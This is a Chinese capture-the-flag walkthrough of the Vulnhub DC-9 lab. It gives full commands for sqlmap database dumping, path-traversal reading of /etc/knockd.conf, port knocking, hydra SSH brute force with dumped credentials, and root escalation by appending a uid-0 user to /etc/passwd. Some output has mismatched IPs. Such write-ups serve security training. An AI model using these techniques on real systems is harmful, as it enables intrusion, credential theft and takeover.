Vulnhub渗透靶机系列----DC9
下载地址
http://www.five86.com/downloads/DC-1.zip
https://download.vulnhub.com/dc/DC-9.zip
环境说明
dc9靶机:10.139.10.149
kali攻击机:10.139.10.152
信息收集
查看mac地址
探测存活主机
sudo netdiscover -r 10.139.10.0/24
对比mac地址得知靶机ip为10.139.10.149
nmap端口扫描
sudo nmap -sS -sV -A -n 10.139.10.149
可以看到开启了22和80端口
dirsearch目录扫描
指纹识别
漏洞利用
通过测试可能存在sql注入
抓包发现是post传参,参数是search
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wXjhwk2X-1692085376858)(C:\Users\baiyu\AppData\Roaming\Typora\typora-user-images\image-20230806181313329.png)]
sqlmap
sudo sqlmap -u http://10.139.10.149/search.php --data "search=1" --dbs -batch
发现两个库
跑staff库的表名
sudo sqlmap -u http://10.139.10.149/results.php --data "search=1" -D Staff -tables
跑Users表
sudo sqlmap -u http://10.139.10.149/results.php --data "search=1" -D Staff -T Users -columns --dump
跑另一个库看看
sudo sqlmap -u http://10.139.10.149/results.php --data "search=1" -D users -tables --batch
跑UserDetails表
sudo sqlmap -u http://10.139.10.149/results.php --data "search=1" -D users -T UserDetails -columns --batch
跑表中的username,password的值
sudo sqlmap -u http://10.139.10.149/results.php --data "search=1" -D users -T UserDetails -C "username,password" -dump --batch
发现了一堆账密
MD5解密
还是回到之前爆破出来admin的那个
admin 856f5de590ef37314e7c3bdf6f8a66dc
chatgpt解密,经验多的,一眼就能看出来把,还有甚者口算md5(dog)
解密得到密码
成功admin登录网站
文件任意读取
而且最底下一直有文件不存在的提示,尝试是否存在文件包含的漏洞
端口碰撞
不看上面的链接可能后面的步骤会看不懂
knockd 服务的默认配置路径:/etc/knockd.conf
访问该配置文件
http://10.139.10.149/manage.php?file=../../../../etc/knockd.conf
看到端口是7469,8475,9842这三个端口,启动这个命令后ssh端口会开放
knock 10.139.10.149 7469 8475 9842
对比之前的nmap扫描结果
发现22端口已经成功打开
hydra爆破ssh账密
之前User库中UserDetails的username和password这两个字段中的
账密进行爆破,看看哪个可用(当然也可以手测)
快速导出
sudo sqlmap -u http://10.139.10.149/results.php --data "search=1" -D users -T UserDetails -C "username,password" -dump --batch > output.txt
根据列名放到两个文件下,建议再手动删一些空格那些,不然影响爆破
grep -E '| [a-zA-Z0-9]+[[:space:]]*\|[[:space:]]*[a-zA-Z0-9]+[[:space:]]*\|' output.txt | awk -F '|' '{print $2}' > usernames.txt
grep -E '| [a-zA-Z0-9]+[[:space:]]*\|[[:space:]]*[a-zA-Z0-9]+[[:space:]]*\|' output.txt | awk -F '|' '{print $3}' > passwords.txt
开始hydra爆破
sudo hydra -L usernames.txt -P passwords.txt 10.139.10.149 ssh
有三个可用
[22][ssh] host: 192.168.232.136 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.232.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.232.136 login: janitor password: Ilovepeepee
分别登录这个三个用户,进行信息收集主要思路是看看有什么敏感文件,能不能提权,比如
ls -al
sudo -l
find / -perm -4000 2>/dev/null
最终再janitor用户下发现.secrets-for-putin
又发现几个密码信息
cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt
//BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
二次ssh爆破
将新的密码添加到password.txt中再次进行密码爆破
sudo hydra -L usernames.txt -P passwords.txt 10.139.10.149 ssh
再次ssh登录fredf账户,然后老一套收集
ls -al
sudo -l//发现了无密码root权限
运行时发现时py文件
在该路径下发现test.py
代码内容:
将一个文件的内容读取并追加到另一个文件中。它接受两个命令行参数,第一个参数是要读取内容的文件,第二个参数是要将内容追加到的文件。
提权
我们可用利用该test.py来进行提权,大致思路就是,将一个添加用户的语句写入到一个名为user的文件,然后用test.py脚本将它写入到/etc/passwd下,而这个test.py是root权限,从而可以提权。
openssl passwd -1 -salt bai dada
//-1 #使用md5加密算法
//-salt #自动锚入一个随机参数作为文件内容加密
//$1$bai$NO4FbsmmN5CT8w.ltWAgn0
根据/etc/passwd的格式改写入语句的格式
echo 'bai:$1$bai$NO4FbsmmN5CT8w.ltWAgn0:0:0::/root:/bin/bash' >> /tmp/user
利用test.py提权
sudo /opt/devstuff/dist/test/test /tmp/user /etc/passwd
登录新创建的用户
su bai
//dada
id
//确认为root用户
cd /root
cat theflag/txt
打完收工